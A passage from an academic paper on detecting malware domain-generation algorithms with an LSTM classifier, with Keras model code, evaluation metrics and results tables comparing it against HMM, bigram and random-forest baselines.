1%. We use this HMM technique as one of our comparisons to previous work. The aforementioned techniques (with exception to the HMM technique in [2]) are accomplished retrospectively. Authors in [5] perform an in-depth comparison of these tech- niques and discuss two important findings. First, retrospective techniques are too slow for most real-world deployments and often take hours to detect malicious domains. Second, the performance of these systems are quite poor in terms of false positives and true positives. These authors present their own technique that overlaps both retrospective and real-time techniques. They apply an online form of sequential hypothesis testing to NXDomains only. Clients in a network are given an evolving score based on the number and maliciousness of NX- Domains. A client can be labeled as malicious or benign once its score goes above or below predefined thresholds. While this system is a big improvement over retrospective systems, it has three main drawbacks. First, detection is not always in real-time as a client takes time to build an appropriate score. Authors reported that only 83% of domains were detected in time to prevent a connection. Second, performance of their system is considerably less than most real-time solutions as we show in section V. Third, their system cannot perform multiclass classification as their system bases classification solely on the presence of NXDomains. Authors in [18] present a real-time DGA classifier that uses two basic linguistic features named meaningful characters ratio and n-gram normality score. The meaningful characters ratio calculates the ratio of characters in a domain that comprise of a meaningful word. For example, facebook has a ratio of 1 as all character in the domain are covered by the words face and book while face1234 has a ratio of 0.5 as only half of its character are covered by the word face. The n-gram normality score is calculated by finding n-grams with n \xe2\x88\x88 1, 2, 3 within a domain and calculating their count in the English language. The mean and covariance of these four features are calculated from a benign set (Alexa top 100,000). Unknown domains are then classified by their Mahalanobis distance to the benign set (i.e. a larger distance is indicative of a DGA generated domain). The approach in [18] is used as a filter step. Once domains have been classified as a DGA they are fed to a clustering technique (similar to those described above) to further classify the domains. Section V shows a comparison of our technique to both ret- rospective and real-time systems. Our technique significantly outperforms retrospective techniques and the comparison is brief and compares findings to those in [5]. An in depth comparison is performed between our technique and the afore- mentioned real-time systems. More specififcally, we compare our technique to the HMM defined by [2] as well as a Random Forest Classifier trained on features defined in [2], [3], [4], [18]. We do not perform an in depth comparison on the full systems as defined in [2], [3], [4] as they are retrospective systems and have already been shown to perform far worse than our system [5]. C. LSTM Networks In a variety of natural language tasks, recurrent neural net- works (RNNs) have been used to capture meaningful temporal relationships among tokens in a sequence [19], [20], [21], [22]. The key benefit of RNNs is that they incorporate contextual (state) information in their mapping from input to output. That is, the output of a single RNN cell is a function of the input layer and previous RNN activations. Due to long chains of operations that are introduced by including self-recurrent connections, the output of a traditional RNN may decay exponentially (or, more rarely but catastrophically explode) for a given input, leading to the well-known vanishing gradients problem. This makes learning long-term dependencies in an RNN difficult to achieve. The problem of vanishing gradients is a key motivation be- hind the application of the Long Short-Term Memory (LSTM) cell [23], [24], [25], which consists of a state that can be read, written or reset via a set of programmable gates. The cell\xe2\x80\x99s state has a self-recurrent connection that allows the cell to exactly retain state between time steps. However, that state may be modulated by a new input via an input gate, which effectively multiplies the input by a number that ranges between 0 and 1 (sigmoid activation) or -1 and 1 (tanh activation). Likewise, a forget gate modulates the self-recurrent state connection by a number between 0 and 1. Thus, if the input gate modulates the input with 0, and the forget gate modulates the recurrent connection with 1, the cell ignores the input and perfectly retains state. On the other hand, a 1 (input) and a 0 (forget) causes the cell\xe2\x80\x99s state to be overwritten by the input. And in the case of a 0 (input) and 0 (forget), the state is reset to 0. Finally, an output gate modulates the contribution of the cell\xe2\x80\x99s state to the output, which propagates to the input gates of LSTM cells across the layer, as well as to subsequent layers of the network. The LSTM cell\xe2\x80\x99s design with multiplicative gates allows a network to store and access state over long sequences, thereby mitigating the vanishing gradients problem. For our use with domain names, the state space is intended to capture combi- nations of letters that are important to discriminating DGA domains from non-DGA domains. This flexible architecture generalizes manual feature extraction via bigrams, for example, but instead learns dependencies of one or multiple characters, whether in succession or with arbitrary separation. III. METHOD We employ an LSTM network for detecting DGAs. The model has the following advantages: \xe2\x80\xa2 the model accepts variable-length character sequences as input, so that there is no auxiliary requirement for feature extraction2; \xe2\x80\xa2 the model is very compact, comprised simply of an embedding layer, an LSTM network layer, and a fully connected output layer that is simple logistic (or for multiclass, multinomial logistic) regression; and \xe2\x80\xa2 although training on a large dataset is computationally intensive, the shallow structure allows for very fast query times. A graphical depiction of our model is shown in Fig. 1. To prevent overfitting when training neural networks, it is common practice to employ dropout. Dropout consists of randomly removing a random subset of edges between layers of a network during each iteration of training, but restoring their contribution at test time. We apply dropout after the LSTM layer prior to logistic regression. The embedding layer projects `-length sequences of input characters from the input domain S \xe2\x8a\x82 Z` to a sequence of vectors Rd\xc3\x97`, where ` is an upper bounded length determined from the training set. The input domain consists of non- redundant valid domain name characters (lowercase alphanu- meric, period, dash and underscore), and the output dimension 2In experiments, we employ a trivial pre-processing step to remove top-level domains and convert all characters to lowercase. LSTM layer logistic regression embedding layer input sequence output probability Fig. 1: Our model consists of an embedding layer, an LSTM layer that serves essentially as a feature extractor, and a logistic regression classifier. d is a tunable parameter that represents an embedding. In our model, we choose d = 128 > |S| to provide additional degrees of freedom to the model, but preliminary experiments showed that results are relatively insensitive to the particular choice of d. The LSTM layer can be thought of as implicit feature extraction, as opposed to explicit feature extraction (e.g., n- grams) used in other approaches. Rather than represent domain names explicitly as a bag of bigrams, for example, the LSTM learns patterns of characters (or in our case, embedded vectors) that maximize the performance of the second classification layer. In our experiments we compare the LSTM model to an explicit bigram logistic regression model. All LSTM code was written in Python using the Keras framework [6]. Two models are generated: one for a binary classification and one for a multiclass classification. Code for the binary classification is shown in Fig. 2 and the multiclass classification in Fig. 3. The two code examples have a few small differences. The final dense layer goes from an output of one value in the binary classifier (line 15) to nb_classes in the multiclass classifier (line 17). A binary decision only requires a single value from [0, 1] where 0 is the most benign and 1 is the most DGA. The multiclass model produces nb_classes scores, one for each family known by the classifier, where multinomial logistic regression is employed on softmaxed activations on line 18 to encode a distribution that sums to unity. IV. EXPERIMENTAL SETUP In the following section, we describe details of our ex- perimental setup in evaluating DGA classifiers in a binary experiment (DGA vs. non-DGA) and multiclass experiment (which DGA?) using publically available domain names and DGA data. A. Evaluation Metrics Precision, Recall, F1 score, and Receiver Operating Char- acteristic (ROC) are the four evaluation metrics used to com- pare the LSTM classification technique to other state-of-the-art techniques. Precision is defined as 1 from keras.preprocessing import pad_sequences 2 from keras.models import Sequential 3 from keras.layers.core import Dense 4 from keras.layers.core import Dropout 5 from keras.layers.core import Activation 6 from keras.layers.embeddings import Embedding 7 from keras.layers.recurrent import LSTM 8 9 model=Sequential() 10 model.add(Embedding(max_features, 11 128, 12 input_length=75)) 13 model.add(LSTM(128)) 14 model.add(Dropout(0.5)) 15 model.add(Dense(1)) 16 model.add(Activation(\xe2\x80\x99sigmoid\xe2\x80\x99)) 17 18 model.compile(loss=\xe2\x80\x99binary_crossentropy\xe2\x80\x99, 19 optimizer=\xe2\x80\x99rmsprop\xe2\x80\x99) 20 21 # Pad sequence where sequences are case 22 # insensitive characters encoded to 23 # integers from 0 to number of valid 24 # characters 25 X_train=sequence.pad_sequences(X_train, 26 maxlen=75) 27 28 # Train where y_train is 0-1 29 model.fit(X_train, y_train, 30 batch_size=batch_size, nb_epoch=1) Fig. 2: Binary LSTM Code Precision = \xe2\x88\x91 True Positive\xe2\x88\x91 True Positive + \xe2\x88\x91 False Positive , and measures the purity of all positively labeled instances (i.e., the ratio of correct positively labeled instances to all positively labeled instances). Recall is defined as Recall = \xe2\x88\x91 True Positive\xe2\x88\x91 True Positive + \xe2\x88\x91 False Negative , and measures the completeness of positively labeled instances (i.e., the ratio of correct positively labeled instances to all instances that should have been labeled positive). F1 score is the harmonic mean of Precision and Recall: F1 = 2 \xc2\xb7 Precision \xc2\xb7 Recall Precision + Recall . ROC measures the trade-off of the true positive rate (TPR) to false positive rate (FPR) where TPR = \xe2\x88\x91 True Positive\xe2\x88\x91 True Positive + \xe2\x88\x91 False Negative , and 1 from keras.preprocessing import pad_sequences 2 from keras.models import Sequential 3 from keras.layers.core import Dense 4 from keras.layers.core import Dropout 5 from keras.layers.core import Activation 6 from keras.layers.embeddings import Embedding 7 from keras.layers.recurrent import LSTM 8 9 model=Sequential() 10 model.add(Embedding(max_features, 11 128, 12 input_length=75)) 13 model.add(LSTM(128)) 14 model.add(Dropout(0.5)) 15 # nb_classes is the number of classes in 16 # the training set 17 model.add(Dense(nb_classes)) 18 model.add(Activation(\xe2\x80\x99softmax\xe2\x80\x99)) 19 20 model.compile(loss=\xe2\x80\x99categorical_crossentropy\xe2\x80\x99, 21 optimizer=\xe2\x80\x99rmsprop\xe2\x80\x99) 22 23 # Pad sequence where sequences are case 24 # insensitive characters encoded to 25 # integers from 0 to number of valid 26 # characters 27 X_train=sequence.pad_sequences(X_train, 28 maxlen=75) 29 30 # Train where y_train is one-hot encoded for 31 # each class 32 model.fit(X_train, y_train, 33 batch_size=batch_size, nb_epoch=1) Fig. 3: Multiclass LSTM Code FPR = \xe2\x88\x91 False Positive\xe2\x88\x91 False Positive + \xe2\x88\x91 True Negative . The ROC is generated by evaluating the TPR and FPR at all thresholds of score returned by a classifier. For example, the ROC is calculated for a probabilistic classifier by varying a threshold from 0.0 to 1.0 and calculating FPR and TPR for each value in the range. Area under the curve (AUC) is a common single metric to compare ROC curves, and as the name implies, is just the area under the ROC curve. An AUC of 1 is perfect, and an AUC of 0.5 is the same as chance in a binary classifier. Averaging results over classes is done using both a micro and macro average. Micro averaging takes into account the number of elements in the test set. This means that smaller classes will account for less in the average than larger classes. Macro, on the other hand, averages over all classes regardless of the number of elements in each individual class. For this paper, macro averaging is probably a better predictor of performance as the distributions of classes in our dataset may not accurately represent the true distributions in the wild. However, both measures are provided for completeness. B. Experimental Designs The proposed technique is evaluated using three different experimental designs: 1) binary classification with random holdout test sets to measure the general ability to detect DGA vs. non- DGA, 2) binary classification with holdout DGA algorithm families to measure the ability to detect new DGAs, and 3) multiclass classification to measure the ability to distinguish one DGA algorithm from another. The binary classification experimental design tests each DGA classifier for it\xe2\x80\x99s ability to make an accurate binary decision: DGA or not DGA. The DGA class consists of domains from all thirty families in our training set. This experiment is run using n-fold cross validation with ten folds. Evaluation is accomplished with both an ROC as well as a detailed Precision, Recall and F1 score broken down by each class. Both the micro and macro averages of Precision, Recall and F1 score are also given. In the second experiment, we test each classifier\xe2\x80\x99s ability to discover new DGA families not used in the training set. The ten smallest DGA families are removed from the dataset and each classifier is trained on all samples from the remaining classes. Precision, Recall and F1 score is calculated on the test set. In addition, we find both the micro and macro average of these scores over all classes for each algorithm. The multiclass classification design tests each DGA classi- fier for its ability to make an accurate decision on the family of DGA. The random forest DGA classifier (using manual features) uses a One vs. Rest while the LSTM and Bigram classifiers do a direct multiclass classification. We display a class breakdown of Precision, Recall and F1 score for each class as well as the micro and macro average. C. Data This paper uses open datasets for reproducibility. A real- world system should use an expanded dataset to make it more difficult for an adversary to reverse engineer and defeat the classifier. The experimental designs use data from two sources. 1) The Alexa top 1 million domains [26] are used for training domains that are not DGAs. 2) The OSINT DGA feed from Bambenek Consulting [27] is used for DGA domains. The OSINT DGA feed consists of thirty families of DGAs with a varying number of examples from each class. This feed contains approximately 750,000 DGA examples. D. Comparison to state of the art For each experiment, we compare the featureless LSTM DGA classifier to \xe2\x80\xa2 a featureless HMM model3 defined in [2], 3HMM is excluded from the multiclass experiment due to poor performance. \xe2\x80\xa2 logistic regression on character bigrams (simple fea- tures), and \xe2\x80\xa2 a random forest DGA classifier using manually-crafted domain features defined in [2], [3], [4], [18]. In particular, the manually crafted features of the random forest DGA classifier include the following: \xe2\x80\xa2 length of domain name, \xe2\x80\xa2 entropy of character distribution in domain name, \xe2\x80\xa2 vowel to consonant ratio, \xe2\x80\xa2 Alexa 1M n-gram frequency distribution co- occurrence count, where n = 3, 4 or 5, \xe2\x80\xa2 n-gram normality score, and \xe2\x80\xa2 meaningful characters ratio. Note that for the n-gram normality score, we use n = 3, n = 4 and n = 5 as three distinct features as opposed to n = 1, n = 2 and n = 3 as in [18] since the larger n-gram size performed better in preliminary experiments. In addition, features were trained in a random forest DGA classifier as opposed to a Mahalanobis distance classifier as used in [18] as the random forest DGA classifier produced better results. Four separate HMMs are trained with one trained on the non-DGA class, and three trained on the three largest DGA classes in terms of support (Post, banjori, and ramnit). The number of hidden states is set to the average length of the domain names in the training set. We use the Neyman-Pearson likelihood ratio test to classify a domain as DGA generated if logPi\xe2\x88\x97 \xe2\x88\x92 logP0 \xe2\x89\xa5 \xce\xb7, where i\xe2\x88\x97 = argmax i\xe2\x88\x88{banjori, ramnit, Post} Pi, P0 is the probability of being a non-DGA, and \xce\xb7 is a user specified threshold. There are a few key differences from the HMM presented in [2]. Authors in [2] use a distinct HMM for each family of DGA, while we only create an HMM for the three largest classes of DGAs in the training set. In addition, we use the Neyman-Pearson likelihood ratio test as opposed to a threshold directly on the maximum HMM score from the DGA HMMs. Preliminary results showed a significant improvement in ROC over the algorithm presented in [2] when using these updates. Even with the improved algorithm, the HMM performed worse than other techniques evaluated in this paper. This is especially true for the multiclass experiment. The original HMM algorithm in [2] was presented on only four classes, each with a significant support. This is unlike our setup that has thirty classes with varying degrees of support. For this reason we omit HMM results for the multiclass experiment. We also compare our results with those of retrospective techniques as reported in [5]. This comparison is only done for the binary classification as our dataset only contains 10-5 10-4 10-3 10-2 10-1 100 False Positive Rate 0.0 0.2 0.4 0.6 0.8 1.0 T ru e P o si ti v e R a te ROC - Binary Classification LSTM (AUC = 0.9993) Bigrams (AUC = 0.9939) Manual Features (AUC = 0.9798) HMM (AUC = 0.8916) Fig. 4: ROC curves for binary classification of DGA and non-DGA generated domains using the LSTM model, logistic regression with bigram features, random forest classifier with manual features, and HMM classifier. TABLE I: True Positive Rates of LSTM compared to Retro- spective techniques Technique True Positive Rate False Positive Rate KL Divergence [3], [4] < 0.5 0.05 NXDomains [5] 0.94 0.002 LSTM 0.98 0.001 domain names without any contextual information. In addi- tion, retrospective techniques perform far worse than real-time techniques for binary classification and, therefore, will likely degrade even further for multiclass classification. V. RESULTS Results for the three experiments and an interpretation of model performance are presented in this section. A. Binary Classification The ROC curves for the HMM, random forest classifier with manually-crafted features (Manual Features), logistic re- gression classifier on character bigrams (Bigrams), and LSTM DGA clasifier (LSTM) are presented in Fig. 4. Note that the abscissa (false positive rate) is on a log scale to highlight the differences in the algorithms. LSTM provides the best performance with an AUC of 0.9993 with the bigram model at 0.9939. The difference between the two algorithms may seem small, but are actually quite significant in a production system. As an example, the LSTM model can classify 90% of all DGAs with a 1 in 10,000 false positive rate. On the other hand, a Bigram model will classify the same percentage of DGA\xe2\x80\x99s with a 1 in 550 false positive rate (i.e., the Bigram model produces a false positive rate that is 20\xc3\x97 that of the LSTM model). TABLE III: Recall for all leave-out classes Domain Type HMM Features Bigram LSTM Support bedep 0.83 0.99 0.99 0.99 172 beebone 0.00 1.00 0.00 0.00 210 corebot 0.59 1.00 0.71 0.77 280 cryptowall 0.30 0.20 0.18 0.20 94 dircrypt 0.94 0.91 0.94 0.97 510 fobber 0.93 0.93 0.95 0.99 600 hesperbot 0.90 0.76 0.86 0.92 192 matsnu 0.00 0.02 0.04 0.0 48 symmi 0.00 1.00 0.11 0.06 64 tempedreve 0.81 0.61 0.80 0.84 249 micro 0.78 0.90 0.80 0.81 macro 0.53 0.74 0.558 0.642 The breakdown of Precision, Recall, and F1 for each class as classified by the binary classifiers is given in Table II. The support (size of test set) is given in the last column. In general, classes that are the most difficult to detect have smaller support. This is expected as they have a smaller contribution to model updates during training than larger classes. In addition matsnu was undetectable by all algorithms. matsnu is a dictionary-based DGA, meaning it is created by randomly selecting and concatenating multiple words from a dictionary. Interestingly, suppobox is also a dictionary based DGA, but was detectable (to some extent) by the LSTM. The size of the suppobox training was about twenty times that of matsnu allowing for repeats of randomly selected dictionary words. These repeats allow the LSTM to learn the dictionaries of such DGAs. We leave an in-depth analysis of dictionary based DGA to future work. The HMM performed worse than expected. The results pre- sented in [2] only used a small number of homogenous DGA families (Conficker, Murofet, Bobax and, Sinowal) while the experiments in this paper use over 30 different families. Some of these families in this paper are related, but overall, our results were generated from a larger/more rich dataset. As discussed later in this paper, the letter distributions are very different across the 30 DGA families used in this pa- per. For example, DGA families such as Cryptolocker and ramnit have near uniform distributions over letters, dyre has a uniform distribution over hexadecimal characters with a dictionary word as a prefix, and suppobox and matsnu use English words to create domains giving a distribution very similar to english based domains. In contrast, Conficker [28], Murofet [29], Bobax [30] and Sinowal [31] all use a generator that gives a uniform distribution over letters similar to Cryptolocker and ramnit. Table I displays the true positive rate and false positive rate for retrospective techniques as compared to the LSTM technique presented by this paper. As can be seen, the LSTM technique significantly outperforms the best retrospective tech- niques. B. Leave-Class-Out Binary Classification The binary leave-one-out classifier is interesting as it tests each algorithm\xe2\x80\x99s robustness to DGA families not seen during TABLE II: Precision, Recall and F1 Score for Binary Classifiers Domain Type Precision Recall F1 Score Support HMM Features Bigram LSTM HMM Features Bigram LSTM HMM Features Bigram LSTM Alexa 0.8300 0.9400 0.9700 0.9900 1.0000 1.0000 1.0000 1.0000 0.9100 0.9700 0.9900 0.9900 300064 Cryptolocker 1.0000 1.0000 1.0000 1.0000 0.9000 0.9800 0.9700 0.9900 0.9500 0.9900 0.9900 0.9900 1799 P2P Gameover Zeus 1.0000 1.0000 1.0000 1.0000 0.9900 1.0000 1.0000 1.0000 0.9900 1.0000 1.0000 1.0000 298 Post Tovar GOZ 1.0000 1.0000 1.0000 1.0000 1.0000 1.0000 1.0000 1.0000 1.0000 1.0000 1.0000 1.0000 19863 Volatile Cedar / Explosive 0.0000 1.0000 1.0000 1.0000 0.0000 0.4600 0.4900 0.9900 0.0000 0.6300 0.6600 1.0000 294 banjori 1.0000 1.0000 1.0000 1.0000 0.5900 0.9400 1.0000 1.0000 0.7400 0.9700 1.0000 1.0000 121678 bedep 1.0000 1.0000 1.0000 1.0000 0.8100 1.0000 1.0000 1.0000 0.8900 1.0000 1.0000 1.0000 53 beebone 0.0000 1.0000 1.0000 1.0000 0.0000 1.0000 0.9700 1.0000 0.0000 1.0000 0.9900 1.0000 65 corebot 1.0000 1.0000 1.0000 1.0000 0.5900 1.0000 1.0000 0.9600 0.7400 1.0000 1.0000 0.9800 81 cryptowall 1.0000 1.0000 1.0000 1.0000 0.1100 0.0600 0.1400 0.1200 0.1900 0.1100 0.2500 0.2100 29 dircrypt 1.0000 1.0000 1.0000 1.0000 0.9100 0.9200 0.9600 0.9600 0.9500 0.9600 0.9800 0.9800 150 dyre 1.0000 1.0000 1.0000 1.0000 1.0000 1.0000 0.9900 1.0000 1.0000 1.0000 0.9900 1.0000 2389 fobber 1.0000 1.0000 1.0000 1.0000 0.8900 0.9600 0.9700 0.9700 0.9400 0.9800 0.9800 0.9900 181 geodo 1.0000 1.0000 1.0000 1.0000 0.9100 1.0000 0.9900 0.9900 0.9500 1.0000 1.0000 1.0000 173 hesperbot 1.0000 1.0000 1.0000 1.0000 0.8300 0.7700 0.8500 0.9700 0.9100 0.8700 0.9200 0.9800 58 matsnu 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 14 murofet 1.0000 1.0000 1.0000 1.0000 0.9200 1.0000 0.9900 1.0000 0.9600 1.0000 1.0000 1.0000 4292 necurs 1.0000 1.0000 1.0000 1.0000 0.8800 0.8400 0.9400 0.9600 0.9400 0.9100 0.9700 0.9800 1232 nymaim 1.0000 1.0000 1.0000 1.0000 0.8000 0.5600 0.7300 0.8000 0.8900 0.7200 0.8500 0.8900 1815 pushdo 1.0000 1.0000 1.0000 1.0000 0.6600 0.4700 0.5600 0.6000 0.7900 0.6400 0.7200 0.7500 507 pykspa 1.0000 1.0000 1.0000 1.0000 0.7200 0.5400 0.7700 0.9000 0.8400 0.7000 0.8700 0.9500 4250 qakbot 1.0000 1.0000 1.0000 1.0000 0.9100 0.9600 0.9600 0.9800 0.9500 0.9800 0.9800 0.9900 1517 ramnit 1.0000 1.0000 1.0000 1.0000 0.8800 0.9100 0.9400 0.9600 0.9400 0.9500 0.9700 0.9800 27439 ranbyus 1.0000 1.0000 1.0000 1.0000 0.9000 1.0000 0.9800 0.9800 0.9500 1.0000 0.9900 0.9900 2625 shifu 1.0000 1.0000 1.0000 1.0000 0.7200 0.2100 0.6600 0.7700 0.8400 0.3500 0.8000 0.8700 697 shiotob/urlzone/bebloh 1.0000 1.0000 1.0000 1.0000 0.9000 0.9700 0.9500 0.9800 0.9500 0.9900 0.9700 0.9900 3031 simda 1.0000 1.0000 1.0000 1.0000 0.5600 0.0800 0.4000 0.9200 0.7100 0.1400 0.5800 0.9600 4449 suppobox 1.0000 0.0000 1.0000 1.0000 0.0100 0.0000 0.0000 0.3200 0.0200 0.0000 0.0100 0.4800 298 symmi 0.0000 1.0000 1.0000 1.0000 0.0000 1.0000 0.7900 0.6900 0.0000 1.0000 0.8800 0.8200 18 tempedreve 1.0000 1.0000 1.0000 1.0000 0.7600 0.5700 0.8500 0.7700 0.8600 0.7300 0.9200 0.8700 74 tinba 1.0000 1.0000 1.0000 1.0000 0.8900 0.9800 0.9700 0.9900 0.9400 0.9900 0.9900 0.9900 18505 Micro Average 0.9008 0.9647 0.9826 0.9942 0.8815 0.9639 0.9848 0.9937 0.8739 0.9593 0.9851 0.9906 16708 Macro Average 0.8655 0.9335 0.9668 0.9674 0.6787 0.7477 0.8006 0.8571 0.7335 0.7929 0.8468 0.8913 16708 training. Only Recall is presented for this experiment as there are no non-DGA generated domains in this test set. The results for this experiment are shown in Table III. The manual features random forest classifier performs best in terms of both micro and macro average. On the other hand, the LSTM classifier has the most families that it performs best on (five in total as opposed to four in total for the manual features classifier). The biggest discrepancy between manual features and LSTM was with beebone. In particular, the manual features classifier identifies all of the beebone samples, while the LSTM model recovers none. The domain names from beebone have a rigid structure, like ns1.backdates13.biz andns1.backdates0.biz, so that the LSTM model was unable to learn the struc- ture that included the word backdates without train- ing data. The results are nearly as dramatic for symmi, which produces nearly-pronounceable domain names like hakueshoubar.ddns.net, by drawing a random vowel or a random consonant at each even-numbered index, then drawing a random character of the opposite class (vowel/- consonant) in the subsequent index location. These examples highlight blind spots in the LSTM classifier. However, these blind spots can be easily fixed through training with the use of an adversarial network (i.e., train a generator network that creates domains that confuses our classifier). Apparently, the structure of some DGA families\xe2\x80\x93even if not elaborately designed\xe2\x80\x93are peculiar enough to necessitate their inclusion in the training set. As evident in the results for Experiment 1 in Table II, the LSTM readily detects these families with distinct structure when accounted for in the training set with sufficient support. The manual features appear to be generic enough to detect these families with high recall. However, its important to note that manual features were designed specifically for known DGA families and all of our DGAs in our test set are known (i.e., our dataset is known and labeled) making this experiment biased to a feature based classifier. Even with this bias, the LSTM classifier still performs best in terms of the number of DGA families it detects. C. Multiclass The HMM results were omitted from the multiclass ex- periments due to poor performance. As stated previously, the HMM algorithm was designed for few DGAs, whereas our experiments include over 30 classes. Precision, Recall, and F1 is displayed in Table IV for the random forest classifier with manual features (Manual Features), multinomial logistic regression on character bigrams (Bigram) and the LSTM classifier. The LSTM classifier significantly outperforms the other two algorithms in both the micro and macro averaged Precision, Recall, and F1 score. In general, poor performance resulted from classes with small representation. One exception was Cryptolocker, which no multiclass classifier was able to detect. However, all the binary classifiers were able to distinguish Cryptolocker from other families. Fig. 5 shows the confusion matrix for the LSTM mul- ticlass classifier. A large number of the incorrectly classi- fied Cryptolocker DGAs are classified as ramnit. To further investigate, the unigram distributions for four DGA families and Alexa are shown in Fig. 6. The distributions for Cryptolocker and ramnit are both uniform over the same range. This is expected as they are both generated TABLE IV: Precision, Recall and F1 Score for Multiclass Classifiers Precision Recall F1 Score Domain Type Features Bigram LSTM Features Bigram LSTM Features Bigram LSTM Support Alexa 0.914 0.980 0.990 0.960 0.990 1.000 0.940 0.988 0.990 199978 Cryptolocker 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 1189 P2P Gameover Zeus 0.000 0.343 0.327 0.000 0.288 0.217 0.000 0.308 0.247 196 Post Tovar GOZ 0.941 1.000 1.000 1.000 1.000 1.000 0.970 1.000 1.000 13185 Volatile Cedar / Explosive 0.000 1.000 0.987 0.000 1.000 0.980 0.000 1.000 0.980 200 banjori 0.900 0.990 1.000 0.938 1.000 1.000 0.920 1.000 1.000 81281 bedep 0.000 0.000 0.943 0.000 0.000 0.107 0.000 0.000 0.187 34 beebone 1.000 1.000 1.000 0.560 1.000 1.000 0.713 1.000 1.000 42 corebot 0.000 1.000 1.000 0.000 0.980 0.990 0.000 0.990 0.993 54 cryptowall 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 15 dircrypt 0.000 0.083 0.000 0.000 0.010 0.000 0.000 0.020 0.000 100 dyre 0.985 0.988 1.000 1.000 0.988 1.000 0.991 0.988 1.000 1600 fobber 0.000 0.000 0.177 0.000 0.000 0.023 0.000 0.000 0.040 121 geodo 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 114 hesperbot 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 36 matsnu 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 0.000 9 murofet 0.883 0.643 0.783 0.066 0.542 0.700 0.122 0.590 0.737 2845 necurs 0.000 0.000 0.643 0.000 0.000 0.093 0.000 0.000 0.160 827 nymaim 0.000 0.390 0.477 0.000 0.113 0.190 0.000 0.175 0.267 1222 pushdo 0.000 0.770 0.853 0.000 0.588 0.640 0.000 0.665 0.730 339 pykspa 0.000 0.788 0.910 0.000 0.593 0.713 0.000 0.675 0.800 2827 qakbot 0.000 0.590 0.590 0.000 0.232 0.387 0.000 0.338 0.463 993 ramnit 0.566 0.637 0.770 0.654 0.763 0.850 0.605 0.690 0.810 18308 ranbyus 0.439 0.000 0.450 0.000 0.000 0.517 0.001 0.000 0.460 1736 shifu 0.000 0.037 0.560 0.000 0.003 0.570 0.000 0.007 0.553 465 shiotob/urlzone/bebloh 0.000 0.965 0.973 0.000 0.853 0.907 0.000 0.907 0.940 2016 simda 0.000 0.840 0.930 0.000 0.750 0.977 0.000 0.792 0.950 2955 suppobox 0.000 0.392 0.833 0.000 0.062 0.517 0.000 0.112 0.627 197 symmi 0.000 0.625 0.913 0.000 0.117 0.857 0.000 0.200 0.883 11 tempedreve 0.000 0.043 0.000 0.000 0.010 0.000 0.000 0.018 0.000 50 tinba 0.821 0.735 0.910 0.923 0.802 0.990 0.869 0.767 0.950 12332 Micro Average 0.851 0.933 0.963 0.888 0.944 0.970 0.867 0.940 0.963 11138 Macro Average 0.240 0.479 0.614 0.197 0.409 0.523 0.198 0.427 0.541 11138 using a series of multiplies, divisions and modulos based on a single seed [13], [10]. On the other hand, suppobox is interesting as it generates unigrams similar to distributions seen by the Alexa top one million domains and is often confused with the benign set. As discussed earlier, suppobox is an English dictionary-based DGA, meaning domains are constructed by concatenating multiple, randomly chosen words from the English dictionary. Interestingly, only the LSTM classifier was able to consistently detect suppobox (as seen in Table II). This shows LSTM\xe2\x80\x99s ability to extract some deep understanding that is lost by other classifiers. Specifically, the LSTM actually learns the dictionary used by suppobox to construct domains. Fig. 7 shows the all-to-all cosine distance of the unigram distribution between all DGA families and the Alexa top one million domains. dyre stands out as it is extremely dissimilar to other algorithms. This is not surprising when comparing this figure to Table 6. dyre has a nearly uniform distribution over primarily hexadecimal numbers (non-hexadecimal letters exist, but are rare). When comparing both Fig. 5, Fig. 7, and Table II, some correlation can be seen between the unigram distribution and DGA algorithms that are often misclassified. This suggests that it\xe2\x80\x99s not only the lack of representation of these algorithms in the training set, but also the distribution of letters that is causing much of the misclassification. More specifically, many DGAs produce domains that look nearly identical in terms of their character distributions making multiclass classification difficult if not impossible. To test this, we performed agglom- erative clustering on each DGA\xe2\x80\x99s family unigram distribution using cosine distance. We set a threshold of 0.2 to define super families (the threshold was chosen using domain knowledge of DGA families). These super families are shown in Table V. Interesting super families include Super Family 4 (dictionary- based DGAs), Super Family 5 (randomly selected character DGAs), and Super Family 7 (randomly selected characters with near equal vowels and consonants). The same multiclass classification experiment was run on these super families and the results are shown in VI. As expected, all three classifiers performed much better on super families. Results demonstrate that an actual deployment of a multiclass DGA classification would be best run on super families, often alerting on groups of DGAs instead of alerting on a single family. Again, the LSTM classifier performs significantly better than other algorithms. D. Model Interpretability We analyze the binary LSTM classifier in order to provide some intuition about the function of the various layers. It is important to note that in the LSTM model, each layer in Fig. 1 is jointly optimized for the binary classification task. TABLE VI: Precision, Recall and F1 Score for Multiclass Classifiers Precision Recall F1 Score Domain Type Features Bigram LSTM Features Bigram LSTM Features Bigram LSTM Support Alexa 0.930 0.980 0.990 0.960 0.990 1.000 0.940 0.990 0.990 199906 Super Family 0 0.980 0.990 1.000 1.000 0.990 1.000 0.990 0.990 1.000 1603 Super Family 1 1.000 1.000 1.000 0.590 1.000 1.000 0.740 1.000 1.000 43 Super Family 2 0.000 1.000 1.000 0.000 1.000 0.970 0.000 1.000 0.990 203 Super Family 3 0.000 0.950 0.980 0.000 0.810 0.900 0.000 0.870 0.940 1998 Super Family 4 0.910 0.990 1.000 0.920 1.000 1.000 0.910 0.990 1.000 81559 Super Family 5 0.870 0.950 0.970 0.880 0.940 0.970 0.870 0.950 0.970 40450 Super Family 6 0.000 0.840 0.960 0.000 0.550 0.670 0.000 0.670 0.790 2877 Super Family 7 0.000 0.830 0.940 0.000 0.680 0.910 0.000 0.750 0.920 3326 Super Family 8 0.940 0.990 1.000 1.000 0.990 1.000 0.970 0.990 1.000 13267 Super Family 9 0.000 0.980 1.000 0.000 0.910 1.000 0.000 0.940 1.000 52 Super Family 10 0.000 0.000 0.910 0.000 0.000 0.830 0.000 0.000 0.870 11 Micro Average 0.896 0.977 0.990 0.919 0.979 0.992 0.903 0.980 0.988 28774 Macro Average 0.469 0.875 0.979 0.446 0.822 0.938 0.452 0.845 0.956 28774 Fig. 5: Confusion matrix for the LSTM multiclass model. Blocks represent the fraction of DGA families on the vertical axis classified as DGA families on the horizontal axis, where 0 is depicted as white and 1 depicted as black. A perfect classifier would produce an identity matrix composed of black blocks. 